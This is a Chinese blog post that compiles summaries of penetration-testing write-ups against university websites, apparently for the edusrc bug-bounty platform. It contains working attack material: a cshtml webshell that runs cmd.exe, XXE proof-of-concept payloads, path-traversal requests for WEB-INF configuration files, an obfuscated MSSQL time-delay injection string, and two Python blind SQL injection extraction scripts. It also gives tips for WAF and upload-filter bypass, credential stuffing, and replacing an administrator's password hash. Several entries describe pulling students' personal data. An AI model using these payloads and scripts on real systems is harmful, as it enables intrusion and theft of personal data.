近期学习文章的整理(超级干货总结分享)
题记
最近在edusrc上吃瓜,看大佬们互怼,又通过大佬们的名字发现个安全团队的博客,前有小口,仿佛若有光,大量的骚姿势文章让我获益无穷,相见恨晚,故脑中想法盛然,整理成博,总结文章,让我们在前方相遇。最近看到一个新手群的直播,可能是我的技术已经步入初级了,毫无营养,加油吧,少年们。
一、小小小月球大佬的分享
1.1 记一次和厂家相爱相杀
文章地址:http://0dayhack.net/index.php/25/
内容:http://xxxxx/index.html?userNo=xxxx链接可以直接登录后台,fofa收集站点,扫备份。黑盒测试发现接口。在接口处通过修改userid可以返回用户信息。通过把链接参数修改为管理员的实现进入管理员后台,在后台处发现ssrf,ssrf特征为http://xxxxxxx/api/imageRe?path=dnslog,厂家修复后再次测试,增加了登陆者身份关系校验,再次绕过,使用空值替换rm参数,形如userId=1&menuRole=SYS004&roleNo=SYS004&cal=381&rm=。
总结:1、修改url参数可造成越权;2、后台留意ssrf与sql注入等漏洞;3、注意接口安全,有些情况可以删除参数绕过。
1.2 记一次文件上传绕过Error 500
文章地址:http://0dayhack.net/index.php/67/
内容:首先在路边捡一个账号密码,登录后找敏感接口与上传点,发现只是前端检测,成功上传jsp但是java类无法编辑,其他语法可以解析,jsp联合html可以执行
代码:
<%@ page language="java" contentType="text/html; charset=utf-8"
pageEncoding="utf-8" import="java.io.*"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Insert title here</title>
</head>
<body>
内容
</body>
</html>
执行:.jsp?cmds=ipconfig
总结:文件上传后无法解析可以思考下换种编码配合。
1.3 从零开始挖edusrc(一)
文章地址:http://0dayhack.net/index.php/329/
内容:(1)信息收集:资产收集,敏感信息收集,旁站C段收集,指纹收集,扫描的话推荐gody(指纹信息)加谷歌语法。(2)一个简单的逻辑漏洞,谷歌语法:site:域名 intext:登录|注册|找回密码|重置密码
一个任意密码重置漏洞,注册2个用户,修改密码抓包,看到id后不要盲目改id,尝试登录另一个号抓包,对比区别测试。
总结:活用信息收集,常见漏洞挖不到的话尝试逻辑漏洞,逻辑漏洞最后2个号测试,不要一上来就改,熟悉发包流程。
1.4 从零开始挖edusrc(二)-任意用户密码重置
文章地址:http://0dayhack.net/index.php/361/
内容:1、在测试逻辑的时候可以抓包上个操作的返回包进行对比,然后替换。比如你填写正确的验证码返回包是true,但现在你随便填写的验证码返回是false抓返回包吧false改成true,成功找回。
2、把错误的返回包改成{}会返回正确,但是后端验证了pin码,把pin码设置为空,直接跳过校验。检测验证码有可能是判断pin=xxxx,但=空之后else直接跳过了?不判断参数完整性进行绕过。
总结:改响应包或者删除参数测试逻辑漏洞。
1.5 从零开始挖edusrc(三)-任意文件下载
文章地址:http://0dayhack.net/index.php/383/
内容:https://xxxxxxxxx/NECBSHistory/downloadFileByName?fileName=uploadNEFormAttachPictureWord_7290bb66-4c60-41fc-b701-4940b8560491.jsp&propertyName=uploadNEFormAttachPictureWord这种路径很可能存在任意文件下载,发现地址在上传文件的地方,上传完你可以下载,查看链接就是这个地址。
下载测试:GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/web.xml&propertyName=uploadNEFormConsignerDataWord与GET /NECBSHistory/downloadFileByName?fileName=./../../../../WEB-INF/classes/config/applicationContext.xml&propertyName=uploadNEFormConsignerDataWord HTTP/1.1
总结:注意上传文件的地方,一不小心就发现个大家伙。
1.6 记一次某开BypassWAF–>GETSHELL
文章地址:http://0dayhack.net/index.php/455/
内容:首先测试账号登录,访问个人中心修改头像,先正常思路上传文件,上传文件会先返回一串加密后的值ticket,判断文件名是通过filename+ticket检测,然后就先上传webshell文件获得对应值,发现有安全狗,.html.aspx绕过安全狗,但是上传aspx不行,于是上传.html.ashx,记得免杀。
总结:账号很重要,上传文件时候aspx不行可以尝试ashx。
1.7 浙大某站BypassWAF–>GETSHELL
文章地址:http://0dayhack.net/index.php/646/
内容:1.nodejs+java+ssh前后端分离上传,先上传图片得到jpg,改成jsp拦截,jspx不拦截但是访问地址报错(内容检测),2.绕过内容检测,jspx是以xml语法来书写jsp的文件,掏出jspx大宝贝一顿上传绕过方法jspx+垃圾字符绕过(在注释里填充大量垃圾字符可以绕过检测)。
总结:java站尝试jspx的绕过,免杀方法:垃圾字符填充。
*1.8 某开的一次SQL注入(bypassWAF)
文章地址:http://0dayhack.net/index.php/735/
内容:来自搜索框的SQL注入,如果没waf,可以抓包加*,sqlmap梭哈。这里有waf,手工测试,单引号报错,双引号正常,and 拦截,证明存在注入。大写+/**/绕过。
总结:单引号双引号测是否有洞,get新姿势,以前我都是-0测的。
*1.9 一次简单的XXE漏洞挖掘
文章地址:http://0dayhack.net/index.php/1008/
内容:登录框,先测试弱口令,无果后发现xml传输,也返回xml。判断是否存在xml注入,先输入<root>报错,然后<root></root>,返回xml多半存在漏洞。
验证漏洞:
Poc
组成一个内部声明DTD,这里直接不需要声明xml
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "file:///">
%remote;]>
dnslog
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "dnslog">
%remote;]>
总结:加深了我对XXE的理解。
1.10 记一次交大简单的getshell(bypass)
文章地址:http://0dayhack.net/index.php/1113/
过程:进入后台(果然账号密码限制了我的想象力,大佬在路边随便都能捡到账号密码),找到上传点,百度搜索编辑器,后缀绕过:'ashx和ashx空格,都可绕过。内容检测:垃圾字符+马带走。
总结:佛了,hacker就是hacker。
1.11 又又又是文件上传(base64上传)
文章地址:http://0dayhack.net/index.php/1365/
过程:找到头像上传点,先正常走一遍,发现base64上传。返回png文件,改成ashx发现返回ashx文件。把马转换成base64替换图片base64内容,执行成功。
总结:原来还能这么干,图片转文件。
1.12 从零开始挖edusrc(四)-任意文件上传
文章地址:http://0dayhack.net/index.php/1603/
过程:上传文件直接拿shell,翻翻目录,找到管理员后台与PHPmyadmin,找配置文件发现账号密码,利用日志写入一句话木马,翻到管理员发现密码BCrypt加密,百度随便找个BCrypt加密替换上去(记得要保存管理员的,干完要还回去,毕竟只蹭蹭)$2a$10$2gP3nFQ3eajNzJayX2E5GuQJsEOMIGXl4hWDKdXpeX9pQBUwGJW7m这是123456。进后台上传文件又getshell,并不是头像上传接口了。
总结:翻翻配置文件没准有惊喜,实在不行直接改密码进后台。
二、望海寺快下课
2.1 接口Fuzz的行为艺术
文章地址:http://0dayhack.net/index.php/789/
过程:1、前端源代码中发现一处js文件,login.js,其中夹杂着ajax的请求,其中有一处的checklogin的接口,传参的ID为stuID和schooldID还有Passwd,以此可见此处接口是进行身份验证,回应包里面同时还有data数据,那未授权访问后台概率性不大。同时会发现大部分行为验证都是在此接口进行验证,于是尝试遍历接口的目录,由于知道passwd是用来checklogin的接口使用,就删除其字段。只用stuID和schooldID。一下就跑出了一个getStudent的接口,同时并没有进行鉴权,导致任何用户发送指定的POST数据都可以获取其中数据,正好stuID和schooldID是刚开始大部分接口都有使用到的,也就跑出数据。谷歌语法收集学号会返回内容。知道了此接口,fofa搜索其他站点,用此接口获取其他学校的师生信息,登录就业网,发现其个人绝大部分的信息乃至家庭住址。此系统密码修改的地方还存在越权,虽然有cookie一些列的验证,但是都是用来进行接口的传参,并没有用来鉴权,直接修改目标学号就可以完成任意密码重置。2、请求一个anPhoneTrue的接口,传参值usMobile,返回的是json格式的success:error。直接字典一上跑接口 ,跑出了一个anAdminList*****的接口(账号的传参值直接用F12看登录框的html值),里面存在email,username和修改密码最重要的手机号码,当填入手机号的时候获取验证码尝试是否存在逻辑绕过的时候,居然发现 回应包里存在code,后续就是一样的操作找上传点,jsp免杀,有waf用<!– … –>来注释掉随便填充的垃圾数据导致waf检测不到。
总结:记得注意接口,getstudent这个接口是利用bp以post传递固定参数,对目标目录下的文件进行字典爆破。
2.2 组合拳杀入教务系统
文章地址:http://0dayhack.net/index.php/883/
过程:登录框测试:sql万能密码,查看登录接口是否会返回敏感信息,逻辑绕过,弱口令。根据不同提示进行弱口令爆破,成功获得2个用户。建站用的是asp.net 在所有文件上传处上了几个asp ashx的免杀马,都是无法解析。那就看看有没有其他类型的漏洞,点击编辑页面 寻思着能否发现其他关于教师的敏感信息,发现居然存在口令, 直接利用F12修改一下input中的type类型数值为text。又用管理员账号进行一些信息收集发现 默认密码的提示,同时在那个F12大法的地方,你会发现教师的默认密码为六个0。知道了这些信息,进行对其他系统的撞库(我们撞库肯定是利用一些测试用户,或者系统内置的用户),FOFA大法。打开另一个站,存在验证码,发现拦掉不发送,就不会刷新。这边我们利用在上个系统中收集到类似内置用户和测试用户的账号,密码为六个0和默认密码进行爆破,成功爆破出一个宿舍用户。。
总结:当一个站有成果或者有waf的时候,可以fofa找类似站点验证。
2.3 记Lower-GetShell
文章地址:http://0dayhack.net/index.php/1251/
过程:摸到一个系统,发现存在sql,仅仅用了后端的一些关键字过滤,摸了一会儿发现可以,字节拼接+空格绕过+LIKE绕过。那个登录框直接上sqlmap跑用一些tamper脚本可以跑出来,可以直接用xp_cmdshell。
三、AGONI
3.1 记一次对xxxedu的渗透测试
文章地址:http://0dayhack.net/index.php/97/
过程:爆破admin账户,弱口令无果,去注册界面,选择导师的时候出现测试用户名,测试用户登录,修改密码处id改为1越权变成管理员。测试未授权访问删除cookie,对比登录前后cookie,构造cookie成功以超管登录。
总结:注册界面尝试寻找一些信息,多留意cookie的变化与构造。
3.2 记一次南开大学梅开三度
文章地址:http://0dayhack.net/index.php/391/
过程:发现南开某站点登陆界面可以枚举用户,且验证码拦截不会刷新。直接上burp枚举用户名,发现存在guest测试账户,且密码为123456 。成功登陆之后,权限为普通用户权限,测试了一波常见漏洞无果,发现上传居然强改后缀。既然在这里毫无进展,fofa搜索同类型站点。找到一个类似测试站点,直接爆破admin账户。发现存在弱口令,直接以admin账户登录,测试其余功能点,发现其大部分系统功能主要通过get传参,将get传参部分单独拉出来拼接至url链接中,可正常访问(这里需要登录后改链接访问)。越权添加用户,可以操作。
总结:可先测试同类型网站,事半功倍。
3.3 看我如何通过黑盒测试日下四个证书站
文章地址:http://0dayhack.net/index.php/756/
过程:登录框,输入一个不存在的用户名,进行抓包测试。随意输入一个不存在的账户,登陆抓包单独拉出来简单测试一下sql 在用户名处加一个单引号,报错。存在waf,找一个无waf的站点跑payload。在登录的站点测试功能抓包单独拉出来,删除cookie。访问,1、越权查看smtp服务器账户密码,2、查看所有账户,3、越权添加超管。这种意思就是在测试站抓包,修改域名什么的,造成直接修改目标域名的内容。
总结:测试站点抓包修改请求,绕waf这方面不得不说冰蝎是真的好用啊,冰蝎不行那就脏字符+冰蝎,是真的秒啊。
3.4 记一次文件上传多重bypass
文章地址:http://0dayhack.net/index.php/1076/
过程:在某查询界面,随手一加单引号,报错,两个单引号闭合无报错信息,sql注入无疑。继续fuzz一遍,发现目标存在waf,输入一些关键字会被连接重置。不晓得是硬件还是云waf哦,如果是云waf的话可以通过查找真实ip进行运气绕过。例如我之前那个同济的站点就是通过查找真实ip地址进行绕过,另一种呢硬件waf的话,脏字节填充吧。fuzz一遍无果。既然到了这里,还是老规矩,先打其他没有waf的站点搞出payload,再去手动fuzz构造payload:发现可以通过%oa%ob替换空格达到绕过的效果最终payload:1′);–%0a%0b%01%03%04%05%06%07%08%09;%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Waitfor%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09Delay%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09'00:00:5'%0b%01%03%04%05%06%07%08%09–%0a%0b%01%03%04%05%06%07%08%09–hhhh(只适用于mssql,原理参考链接:http://cnblogs.com/willingtolove/p/11160605.html),进入子站后台,找到上传点,添加上传类型,但是aspx上传会过滤as,那我们就可以考虑一下aasspx 过滤拦截会过滤中间的as,之后会自动拼接a spx,形成aspx的后缀。但是waf站点不行,后思考aspx,net的站点应该是支持cshtml的马的,成功但是只能执行特定命令。
代码:
@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
@{
var cmd = ExecuteCommand("cmd.exe", "/c whoami");
}
Output of the injected command (by Niemand):
@cmd
总结:aspx.net站点尝试cshtml马。
四、其他
*4.1 简单的sql注入与脚本的编写与4.2 SQL注入-BOOL盲注-一个小细节 作者:太空人
文章地址:http://0dayhack.net/index.php/1630/与http://0dayhack.net/index.php/1724/
过程:第一篇:登录框测试注入点,通过报错知道是mysql数据库,选择时间盲注。cc=1234&pwd=456'and if((length(database())=8),sleep(5),0))–+&key=,了解了原理之后就可以自己编写二分法脚本。第二篇:关注细节,有waf看返回正确与错误确定注入点,测试发现是mssql数据库,因为ban了 waitfor delay。又经过手工测试发现一些没被ban的函数1')and (ascii(substring('a',1,1))=97)--+正常payload 1')and (ascii(substring(({content}),{i},1))-{mid})<1--+。
脚本1:
# -*- coding:utf-8 -*-
import requests
from requests import exceptions
url = 'http://ip/CheckUser'
def main():
result = ""
for i in range(1, 20):
low = 32
high = 128
while low < high:
mid = int((low + high) / 2)
content = "select user()"
sql = f"123'and if((ascii(substr(({content}),{i},1))<{mid}),sleep(5),0))-- "
data = {
"cc":'123456',
"pwd": sql,
"key":''
}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0", "Accept": "*/*", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "Origin": "http://ip", "Connection": "close", "Referer": "http://ip"}
r = requests.post(url=url, data=data,headers=headers)
if r.elapsed.total_seconds() > 5:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 32:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low - 1) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
脚本2:
# -*- coding:utf-8 -*-
import requests
url = "ip:/???Text="
def main():
result = ""
for i in range(1, 200):
low = 31
high = 128
while low < high:
mid = int((low + high) / 2)
content = "@@version"
sql = f"1')and (ascii(substring(({content}),{i},1))-{mid})<1--+"
payload = url+sql
response = requests.get(url=payload)
if "共18条数据" in response.text:
high = mid
else:
low = mid + 1
print("[+] After changing we got {} to {}".format(low, high))
if low == high == 128 or low == high == 31:
print("[*] Result is: {}".format(result))
break
print("[+] Now has {}".format(i))
result += chr(int((high + low) / 2))
print("[*] Result now is: {}".format(result))
if __name__ == '__main__':
main()
总结:脚本我还是看得懂的。
3.5 记一次目录遍历带来的惊喜
文章地址:http://xz.aliyun.com/t/9418
过程:浏览资源发现教育平台,首先尝试弱口令,弱口令无果后的思路,1、fofa同类型站点爆破出账户,尝试有没有未授权漏洞什么的。2、爆破用户名弱口令,获得权限后深入测试。
观察返回包,发现不存在session等参数,这种大部分可以登录绕过,换站点用登录成功的账户密码替换返回包,成功绕过限制。账户权限小并且无敏感操作尝试上传测试,首先上传失败。拿御剑开始目录爆破,发现有目录遍历漏洞,发现上传测试页面,但是不返回文件路径,发现是Windows,在文件后缀添加禁止的字符,系统报错返回路径。然后研究命名规则,但是上传的目录不可读,尝试目录穿越,成功拿到shell。
总结:爆破有时候有奇效。
总结
Get到各种新姿势,我说大佬们为啥都这么强,不说了,我去把我的通用漏洞整一波了。